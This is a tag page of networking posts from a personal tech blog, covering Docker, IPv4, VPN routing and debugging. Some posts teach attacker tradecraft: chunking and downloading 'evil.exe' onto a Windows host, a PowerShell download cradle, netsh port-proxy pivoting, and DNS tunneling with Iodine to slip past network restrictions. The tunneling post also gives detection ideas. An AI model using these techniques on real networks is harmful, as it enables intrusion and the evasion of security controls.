Networking on David Hamann

Connecting to a host service from within a container using Docker for Mac

Sun, 11 Oct 2020 00:00:00 +0000

TL;DR

Use host.docker.internal.

When you are running Docker on Linux and want to access services on the host from within a container, you can make use of the docker0 bridge interface (ip a s docker0). This does not work when running Docker for Mac as the interface is inside a separate virtual machine (which you can confirm by getting a shell in that vm: screen ~/Library/Containers/com.docker.docker/Data/vms/0/tty) and thus not visible on the local host.

To workaround this, a reliable way to get to the macOS host is to use the host.docker.internal DNS name which will always resolve to an IP where the host is reachable.

Example

Let’s say you want to run some script in the container that connects to a specific HTTP target and want to observe the requests through a proxy running on your macOS machine (e.g. Burp). Then you would do:

# Run some container
docker run -it alpine:latest /bin/sh

# ... install the dependencies for your script ...
# then run the script and target your local (!) intercept proxy
python3 exploit.py http://host.docker.internal:8081/whatever

# now observe the request in the proxy application running on the host

Splitting a binary into chunks on Linux, and re-combining them on Windows

Wed, 09 Sep 2020 00:00:00 +0000

Recently, I needed to transfer a binary over a very limited network connection allowing only small packets to be sent. I ended up splitting the binary into pieces on my Linux box and reassembled the pieces on the target Windows host.

If, for some reason, you cannot use easier means like IP fragmentation and work with a smaller maximum transfer unit (MTU), here’s how to do the splitting and re-combining.

Split binary into pieces on Linux

Splitting a file into pieces on Linux is very straightforward – just use the split program (man).

The following command will split evil.exe into pieces of 1000 bytes, prefix them with chunk and use a numeric suffix for each chunk.

split -b 1000 -d evil.exe chunk

So we will end up with something like this:

chunk00 chunk16 chunk32 chunk48
chunk01 chunk17 chunk33 chunk49
chunk02 chunk18 chunk34 chunk50
chunk03 chunk19 chunk35 chunk51
chunk04 chunk20 chunk36 chunk52
chunk05 chunk21 chunk37 chunk53
chunk06 chunk22 chunk38 chunk54
chunk07 chunk23 chunk39 chunk55
chunk08 chunk24 chunk40 chunk56
chunk09 chunk25 chunk41 chunk57
chunk10 chunk26 chunk42 chunk58
chunk11 chunk27 chunk43 chunk59
chunk12 chunk28 chunk44
chunk13 chunk29 chunk45
chunk14 chunk30 chunk46
chunk15 chunk31 chunk47

Now that we have our chunks, we can host them for the Windows machine to download.

Download from Windows

To download the individual chunks to the Windows host, let’s use a quick PowerShell one-liner with Invoke-WebRequest:

0..59 | % { $chunk = 'chunk{0:d2}' -f $_; iwr 1.2.3.4/$chunk -outfile $chunk }

If all you have is a command prompt and cannot download the chunks directly, one idea is to convert the binary chunks into hex strings and then send these strings through the prompt of the shell you might have.

Combine the chunks

Now that we have all pieces to the puzzle, let’s assemble them into the self-contained binary we actually want, with Get-ChildItem, Get-Content and Set-Content:

gci -Filter "chunk*" | gc -Enc Byte -Read 1000 | sc evil.exe -Enc Byte

Doing a Get-FileHash evil.exe on the Windows host should now return the same hash as shasum -a 256 evil.exe on Linux.

Reading sniffed SSL/TLS traffic from curl with Wireshark

Tue, 06 Aug 2019 00:00:00 +0000

If you want to debug/inspect/analyze SSL/TLS traffic made by curl, you can easily do so by setting the environment variable SSLKEYLOGFILE to a file path of your choice (for storing the secrets), and then point Wireshark to use this file.

Let’s see how:

In Wireshark, go to Edit -> Preferences -> Protocols -> SSL -> (Pre)-Master-Secret log filename, and set the path:

Then start the Wireshark capture.

In your shell, you can now set the environment variable and make a request:

$ SSLKEYLOGFILE=/my/path/to/file.log curl https://example.com

(export the variable if you want it to be available to all apps in your current session)

In Wireshark, you should now be able to see the decrypted traffic:

Version note: I used curl 7.65.1 with OpenSSL.

Pivoting: Setting up a port proxy with netsh on Windows

Thu, 20 Jun 2019 00:00:00 +0000

TL;DR: Pivot by setting up a portproxy between your machine and a machine in another network using netsh interface portproxy add v4tov4 listenport=<port in> connectport=<port out> connectaddress=<destination>.

Let’s say machine A has access to a Windows machine, B, which has an additional interface configured to reach machines in another (internal) network, including machine C. As our machine A cannot directly talk to machine C and vice versa, what can we do to pick up files hosted on our machine A from machine C, or do further reconnaissance of C from A?

One quick and easy way is to configure a “portproxy” on machine B, which listens on a specified port and sends incoming traffic on to machine C or A (depending on the use case). Let’s have a look on how to do that for an IPv4 to IPv4 configuration.

For this example we have:

A at 192.168.1.2
B at 192.168.1.3 and 10.10.10.3
C at 10.10.10.4

Setup on machine B

On machine B, execute the following:

netsh interface portproxy add v4tov4 listenport=1337 connectport=8000 connectaddress=192.168.1.2

Here, we are setting up a portproxy that will listen on port 1337 and send the received data to the connectaddress (A) on port 8000. This is done via a separate TCP connection, as you can observe via Wireshark.

Let’s verify the setting looks good with netsh interface portproxy show v4tov4.

Listen on IPv4: Connect to IPv4:

Address Port Address Port
--------------- ---------- --------------- ----------
* 1337 192.168.1.2 8000

Note that the portproxy config will be stored in the registry, so this is the place where you can detect persistent portproxies without using netsh.

Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4\tcp

*/1337 : 192.168.1.2/8000
...

To be able to try it out, let’s poke a hole into our firewall (still on B):

netsh advfirewall firewall add rule name="Proxy all the things" dir=in action=allow protocol=TCP localport=1337

Setup on machine A for hosting

On our machine A we will now start a webserver and host a file:

python3 -m http.server 8000 in a directory with a test.txt containing Hello from A.

Fetch from machine C

On our machine C let’s write up a short download cradle to fetch and then output the file’s content from machine A:

powershell.exe -c echo (New-Object Net.WebClient).DownloadString('http://10.10.10.3:1337/test.txt')

Machine C will now reach out to B (10.10.10.3) on port 1337, which will reach out to A on port 8000 to fetch test.txt. We can see a hit from 192.168.1.3 in our Python webserver console and the results of test.txt printed on machine C.

Naturally, this also works in the other direction (A reaching C through B). Just set up the the right connectaddress and connectport.

To remove the portproxy, you can use delete v4tov4 like so:

netsh interface portproxy delete v4tov4 listenport=1337

And to remove the firewall rule again:

netsh advfirewall firewall delete rule name="Proxy all the things"

Note that you may get a deprecation warning when using netsh on modern systems. Unfortunately, I haven’t found a simple way/Cmdlet to setup a portproxy in PowerShell. Do you know how? Please let me know.

Tunneling network traffic over DNS with Iodine and a SSH SOCKS proxy

Sun, 12 May 2019 00:00:00 +0000

Accessing the internet via restricted networks can be a pain. But so can be securing a network and putting those restrictions in place. Let’s have a look at how DNS tunneling can in some cases allow getting data in and out, when regular access is blocked or otherwise restricted, but DNS queries work.

Seeing this technique in action can help you understand how unauthorized users could get around your security measures and use less monitored channels for communication (e.g. for malware command and control), or may come in handy when doing an attack simulation yourself. In addition, it’s a fun way to mess with captive portals which often kind of “man-in-the-middle” your connection to direct you to a sign-up page, but still let you resolve names in any state.

I always wanted to set up something like this since I first read about the technique. Today, I finally did and want to document the process.

How does it work?

In a nutshell: what we want to do is tunnel IPv4 network packets over DNS, using the hostname to send data (via a DNS query) and a record type, e.g. NULL*, TXT or other record for transporting the response, meaning we will have DNS queries in a format like <encoded data>.x.domain.com for our upstream and the DNS response for our downstream.

For the whole thing to work, we need control over a domain and be able to edit the zone file. In addition to that, we need a server that we can point our address record (A) to and that will do the communication for/with us.

Due to the size limitations of DNS records, we shouldn’t expect to get blazingly fast data transfer rates, but any connection is better than none. Note that due to these limitations, the domain and subdomain should be as short as possible to leave as much as possible room for the actual data.

* A NULL record has the advantage of being able to transfer a lot more information. Please also see the section Operational info in the README of Iodine (the tool we are going to use).

Iodine

Most of the work in this setup will be done by a tool called Iodine by kyro.se.

It has a server and client component and it is recommended to run the same version on both ends. I will use the latest master, which currently points to commit 27e5d6f.

Iodine will take care of sending (client) and answering (server) the DNS queries, plus handle fragmentation, compression, encoding, record type to use, etc., and perform a lot of other magic behind the scenes. We essentially only need to take care of starting both the server and the client tool.

For more detailled information or troubleshooting have a look at the README and the code hosted at GitHub.

Prerequisites

To summarize the prerequisites again, we need:

Control over a domain
A server (preferrably with a static IP)
A client (for example your computer)

I used an Ubuntu 18 server and Kali Linux 2019.1 as client. As mentioned above, the version of Iodine we are going to compile is from commit 27e5d6f.

The setup

Building Iodine

Let’s clone Iodine, make and install it:

git clone https://github.com/yarrick/iodine.git
make
make install

Which gives us the executables /usr/local/sbin/iodined or /usr/local/sbin/iodine, respectively. iodined will be our server component, iodine our client component.

Run iodined -v and iodine -v to check your versions.

DNS zone setup

We will have to create two records in our zone. A NS record and an A record pointing to our server.

Name | Type | Value
----------------------------------------------------
x.<domain>.<tld>. | NS | xns.<domain>.<tld>.
xns.<domain>.<tld>. | A | <server ip>

<domain> is the domain we control, <server ip> is the IP of the server where we will run iodined.

You can name your subdomain as you like, but remember to keep it as short as possible.

Server setup

At this point we should have a fresh server install and on it the Iodine version we’ve built above. Also, inbound ports for SSH (TCP 22) and DNS (UDP 53) should be open.

Let’s ssh into the server and start iodined.

ssh -i key.pem user@host
sudo iodined -f <tunnel ip> x.<domain>.<tld>

Enter password: xxxx
Opened dns0
Setting IP of dns0 to 10.10.10.1
Setting MTU of dns0 to 1130
Opened IPv4 UDP socket
Opened IPv6 UDP socket
Listening to dns for domain x.<domain>.<tld>

-f will keep it running in the foreground. For the tunnel IP, specify an internal IP you want to use. I chose 10.10.10.1.

After starting iodined, you should be asked to set a password. Enter it and remember it for later when starting the client.

If you like, you can now test your server setup via the troubleshooting tool provided by kyro.se.

Client setup

Let’s head over to our client machine and startup iodine.

iodine -f -P <password> x.<domain>.<tld>

For now, let’s keep all the options at their default setting, and only specify the password with -P. However, if you’re testing in an environment where “anything goes”, you may want to specify -r to make sure to use DNS tunneling over raw UDP tunneling (otherwise Iodine will try to detect if this is possible and switch over).

Opened dns0
Opened IPv4 UDP socket
Sending DNS queries for x.<domain>.<tld> to <local nameserver>
Autodetecting DNS query type (use -T to override).
Using DNS type NULL queries
Version ok, both using protocol v 0x00000502. You are user #0
Setting IP of dns0 to 10.10.10.2
Setting MTU of dns0 to 1130
Server tunnel IP is 10.10.10.1
Skipping raw mode
Using EDNS0 extension
Switching upstream to codec Base128
Server switched upstream to codec Base128
No alternative downstream codec available, using default (Raw)
Switching to lazy mode for low-latency
Server switched to lazy mode
Autoprobing max downstream fragment size... (skip with -m fragsize)
768 ok.. 1152 ok.. ...1344 not ok.. ...1248 not ok.. ...1200 not ok.. 1176 ok.. 1188 ok.. will use 1188-2=1186
Setting downstream fragment size to max 1186...
Connection setup complete, transmitting data.

A simple first thing to check is, if we can ping the tunnel IP (in this case 10.10.10.1). There should also be a new interface dns0 (ifconfig) with an assigned IP from the tunnel subnet (here: 10.10.10.2). Sniffing on the default interface (for example eth0) we can now see the (potentially, lots of) DNS queries, more specifically, NULL queries in our case.

In case you’re getting iodine: BADIP: Server rejected sender IP address..., you can try to pass -c to the server command to check if “disabling the check of client IP/port on each request” (see README#server-side) will solve these issues.

Using a SOCKS proxy to secure our traffic

The traffic that we are sending over DNS is not encrypted. What we can do to change that, is to open a SSH connection via the DNS tunnel and use it as a SOCKS proxy (so, a tunnel within the tunnel).

ssh -ND 31337 -i key.pem user@10.10.10.1

I didn’t use placeholders here to better show which IP to use. The 10.10.10.1 is the tunnel IP which we have specified when starting iodined on the server, 31337 is the port to be used for the local socket. Choose any port you like >= 1024.

-N specifies that we do not want to execute a remote command (we just need the port forwarding). -D lets us do the port forwarding so that SSH can act as our SOCKS server.

Let’s do a quick test by curling a service that echoes back our IP:

curl -x socks5h://127.0.0.1:31337 http://httpbin.org/ip

It should give back the address of the server, not of our client (do a quick check with and without the tunnel).

If the curl request times out, you may have a problem with the name resolution. For debugging purposes, try to curl an IP instead of a hostname or see if it works when using socks5:// (without the h; this will do the name resolution on your client, rather than on the server). If it does, check if something is wrong with your /etc/resolv.conf on the server (you could try to set another nameserver, e.g. via the resolveconf package).

Using a browser (or any other app)

Any application that allows us to specify a SOCKSv5 proxy, can now be configured to use this tunnel. Here’s an example for Firefox:

Tunnel everything

For cases where a SOCKS proxy is not feasable or where we want to tunnel everything from our machine, using a VPN should be considered.

If you’re looking for information on how to set up the natting on the server and routes on the client to send everything (unencrypted) over the dns0 interface, check out this gist (archived) by calzoneman.

It boils down to:

echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -A FORWARD -i eth0 -o dns0 -m state --state RELATED,ESTABLISHED -j ACCEPT
iptables -A FORWARD -i dns0 -o eth0 -j ACCEPT

route add <server ip> gw <default gateway on client network>
ip route del default via <default gateway on client network>
ip route add default via <tunnel ip>

Again, easy to check if it’s working by doing curl http://httpbin.org/ip (this time without the proxy) or sniffing on the dns0 interface.

Detection and Prevention

How can you detect and/or prevent this kind of tunneling? I haven’t actively looked into this, but a few things may work for detection or prevention:

Detection based on amount, size, host-naming and type of DNS queries from regular clients. The traffic will surely statistically stand out.
In general, the amount of traffic over port 53 from individual clients should stand out (if used for regular browsing and not just sending/receiving a few commands)
Disallowing internal DNS servers to resolve to external addresses and do the external resolution only through a proxy should prevent this technique
In the case of captive portals, resolving external addresses only after sign-up may work. But then again, there are also other ways for getting around the captive portal, e.g. capturing and then assuming an already signed-up MAC address (which requires much less preparation)
Blocking certain domains/IP blocks/regions is surely always possible, but ineffective if the other end could potentially be anywhere.

Debugging stories: What's that 404 error?

Sun, 07 Oct 2018 00:00:00 +0000

Here is a little story about resolving an issue with a web site that turned out not to be an issue with a web site :-)

A client approached me and asked, if I could look into an issue they were having with their web app. Multiple users, mainly from mobile devices, were reporting 404 Not Found errors when accessing the site’s domain.

Server error for some devices? 🤨

It sounded like a strange thing that the server would give a 404 for some mobile devices. I tried to reproduce the issue, but was not able to do so, neither on one of my devices (mobile or not) nor on devices from an external device farm.

So, after double-checking that users were actually accessing the right site, telling them to clear their browser’s cache and sending in screenshots (default 404 page), I started familiarizing myself with what was running on the server and went through the web server log files. The result in short: I couldn’t find any of the errors there.

Reproducible, but no logs?

After a while, though, the client had a device at hand that could reliably reproduce the issue. I asked them to open the address that would lead to the 404 and simultaneously monitored the log file – nothing showed up. Either the device was not making an actual network request or it was just hitting another server. In general, access/error logs were written by the server, as I could verify before by accessing the site myself.

Further asking about the problem, I learned that the issue would sometimes (!) go away when a user would enter a wifi – still using the same device. While this also sounded weird, it was now much easier to narrow down.

Inspecting the request, finding the issue!

I tried to connect again with one of my devices using the mobile network and could finally see the same issue. I hooked the device up to my computer and looked at the network request my phone was sending (over the mobile network) and the answer the (a?) server was giving. This revealed what the real issue was.

Via the mobile network, the IPv6 address from the AAAA DNS record of the site’s domain was being used. In the wifi, however, the device used the IPv4 address from the A record. While this is not an issue by itself and just depends on what a device or router supports or how it is configured, it showed that someone indeed set the AAAA record to an address pointing to a different server, which, naturally, didn’t have the same resources 😱. This explained all previously reported issues:

Devices on mobile networks used the IPv6 address (Dual Stack, IPv6 preferred) and thus reached a totally different server
Most of the time, the problem would go away when switching from a mobile network to a (W)LAN; these were IPv4 connections
Some networks were apparently IPv6 only, meaning, it would still not work on those after switching to them
In some networks, desktop access would work, but mobile access didn’t, even though it was the same network: it turns out, the mobile devices automatically switched to the cell network, when it was faster (WiFi assist) 😈
Of course nothing would ever show up in the logs of the web server in question, as the faulty request wasn’t sent there

Correcting the IPv6 address in the AAAA record solved the issue – obviously. It’s always the little and easy things that go wrong :-)

I hope this story will help someone with a similar problem find the solution quicker.

Basic understanding of IPv4 addresses

Mon, 22 Jan 2018 00:00:00 +0000

In a recent project I needed to anonymize IP addresses in tracking data. While masking a few bits from an IP address is not so interesting, it’s a good excuse to review some of the basics of how (IPv4) IP addresses work.

What’s an IP address and how does it look like?

To be able to route traffic through a network (e.g. your local network or the internet), we need a way to uniquely identify devices on that network, i.e. we need addresses.

IPv4 (or Internet Protocol version 4) uses 32-bit numbers as addresses which are usualy represented in decimals in a dot-separated format so that we humans can easier grasp them.

Let’s make up the IP address 192.168.123.123 and then take it apart.

The parts

To identify hosts on different (sub-)networks, an IP address consists of two parts: one part to identify the network, and one part to identify the host (a device, like your computer).

To help separate the parts, let’s first see how IP addresses really look like as 32-bit numbers:

192.168.123.123 represented as 32-bit number is 11000000.10101000.01111011.01111011 because

192 => 11000000
168 => 10101000
123 => 01111011
123 => 01111011

The parts separted by the dot are usually referred to as octets, which means a grouping of 8 bits, i.e. 1 byte. So we could call 11000000 the first octet of the address.

When a router gets a data packet it needs to know which network (!) to send it to. Only after having arrived at the desired network, the packet can then be delivered to the target host (e.g. your computer). To make all this possible, there needs to be a way to figure out what part of an address tells us what.

For our sample address, we could say 192.168.123.0 is the network part and 0.0.0.123 (.123 being the last octet) is the host part.

But network and host parts do not always have the same length, so how do we know where the network part ends and the host part begins? By looking at another 32-bit number, called the subnet mask.

Let’s see how.

The subnet

Just as we did for the IP address, let’s look at the subnet mask 255.255.255.0 in binary.

255.255.255.0 represented as 32-bit number is 11111111.11111111.11111111.00000000 because

255 => 11111111
255 => 11111111
255 => 11111111
0 => 00000000

When we now look at our IP address 192.168.123.123 or 11000000.10101000.01111011.01111011 again, we see that for each of the 24 first bits we have a 1 at the same position in the subnet mask, and a 0 for the part that we previously called the host part.

Putting this together: 192.168.123.123 with the subnet mask 255.255.255.0 gives you 192.168.123.0 as the network address and 000.000.000.123 as the host address.

The first 1s in the subnet mask (also called the routing prefix) don’t need to be 24. They could also be 25 or 26, or just 16.

Depending on how your subnet mask looks like you have more or less host addresses available: for example 254 for 24 with 255.255.255.0, or 65534 for 16, with a subnet mask 255.255.0.0).

Note: Another way you might see IP addresses and subnets written is in the form of 192.168.123.123/24 where /24 refers to the subnet (255.255.255.0, 24 bit network size).

Take a look at this subnet cheatsheet to quickly look up masks and addresses: https://www.aelius.com/njh/subnet_sheet.html.

Missing something?

You may ask yourself why 254 and not 256 hosts for a mask like 255.255.255.0. This is because addresses ending in 0 or 255 (e.g. 192.168.123.0) are a special case.

While in theory it is possible to have an address ending in 0, it is generally not the case as these IPs are used to specify the network part or to act as broadcast addresses (i.e. to send information to all hosts within the network/subnet).

A word on address space

When looking at IP addresses in binary, it’s easy to see where the limit is. Using 32-bit addresses limits us to \(2^{32}\) addresses, including reserved blocks of addresses for private networks (this is why your local IP addresses generally begin with 192., 10. or 172.).

While more than 4 billion addresses seem like a lot, it is not enough to cover the future number of devices that want to connect to the internet and request an IP (think of all the IoT devices). This is one of the reasons why we are moving towards IPv6 with an address space of 128 bits (Google has a graph of the adoption).

This is not all

There’s much, much more to IPv4 and a lot more layers are involved to fully understand what’s going on. I hope this post answers the basic questions you may have when hooking up your computer to a network. If you want to easily learn more, Wikipedia is a good start.

VPN: Temporarily solve same subnet conflicts

Wed, 27 Sep 2017 00:00:00 +0000

I recently had the problem of needing to establish a connection to a server behind a VPN that was in the same subnet as the network I was connecting from. Every call I wanted to make to the server on the remote network wouldn’t go through as it was looking for the server on the local network.

To eventually reach the server, I temporarily added a route to the routing tables, telling the client it should transmit traffic to the destination ip through the interface of the VPN connection.

If you ever come across a similar situation, here’s how to solve it.

First, find out which interface your VPN is using:

> ifconfig

Let’s assume it runs via ppp0. Let’s further assume that the server you want to reach is at 192.168.1.10. Now, to tell your client about it, add the route via the route command (this is on macOS, but should work more or less the same on a Linux system):

> sudo route add -host 192.168.1.10 -interface ppp0
add host 192.168.1.10: gateway ppp0

Doing a quick ping, you should see that your desired server is now reachable.

Note that when you re-connect you may need to setup the route again as the setting is not persisting.

Sharing a VPN connection with another device on macOS Sierra/El Capitan

Wed, 19 Apr 2017 00:00:00 +0000

There are multiple reasons why you would want to share a VPN connection from your Mac with another device. Maybe you have to install a proprietary VPN client which does not run on your main computer or you just don’t want to run/install it there. Maybe your main computer doesn’t “comply” (i.e. you would need to install additional AV software – who wants that?). Or you simply need it for streaming video to some TV box.

I recently had the problem with a proprietary VPN client which I didn’t want to install on my main machine. I solved it by using another Mac running macOS 10.11 and am going to describe the process here and list the resources that were helpful.

If you are looking for a hardware VPN router or want to share a natively supported VPN connection (L2TP, IPSec) via “Internet Sharing”, you can stop reading here. I won’t cover this topic.

I quickly found the article “Using (and sharing) a VPN connection on your Mac”, which looked like a great solution. It suggested the following little shell script:

#!/bin/sh

natd -interface tun0
ipfw -f flush
ipfw add divert natd ip from any to any via tun0
ipfw add pass all from any to any
sysctl -w net.inet.ip.forwarding=1

Unfortunately, there’s neither ipfw nor natd on El Capitan or Sierra, since they were deprecated with Yosemite. So, the “new” thing to look into was pf (packet filter).

After reading the man page of pfctl and a bit more of googling, I found the solution. To load your own rules and share your VPN connection, you can use pfctl -f and give it a list of nat entries defining the interfaces from and to. This article “Share your VPN with Mac OS X El Capitan” from roelant.net helped a lot.

My working natvpn.sh script now looked like this:

#!/bin/sh

sysctl -w net.inet.ip.forwarding=1
sysctl -w net.inet.ip.fw.enable=1
pfctl -f ./nat-rules -e

You might need a sudo pfctl -d before to disable the packet filter.

…and the nat-rules file:

nat on utun0 from en0:network to any -> (utun0)

You might need to change the interfaces utun0/en0 according to your preferences.

The next step was to go to my main machine and setup a new network service (System Preferences -> Network). After clicking on the “+” button, I chose the adapter (in my case the Display Ethernet) and manual IPv4 configuration and entered my standard local networking details with the exception of the gateway address (might also be called “router address” on your machine). The gateway address is the IP of the mac on which the VPN client (incl. the script from above) was installed.

After the service was created I just needed to change the order of the services to prioritze the newly created service (click on the action menu -> Set Service Order) and then start the script (./natvpn.sh). Et voilà, I could use the VPN connection established by the other Mac on my main machine Mac.

If you don’t like to set the service order every time you use the shared VPN, you might want to set up a new network location for your VPN work (System Preferences -> Network -> Location -> Edit Locations … -> +)

Update: Troubleshooting

If sharing does not work after executing the steps above or stops working from one day to the other (yep, had that problem :-)), you should first check the nat-rules file. It is likely that either one of the interfaces is invalid or you might just have a typo in there. If it all looks OK but still doesn’t work, try to explicitly list the subnet, i.e. nat on utun0 from 192.168.1.0/24 to any -> utun0 and then start again.

After running ./natvpn.sh you may also want to do a sanity check by listing the rules with sudo pfctl -s all. You should see your entry under TRANSLATION RULES.

Another thing to try is to flush all rules before attempting again: pfctl -F all.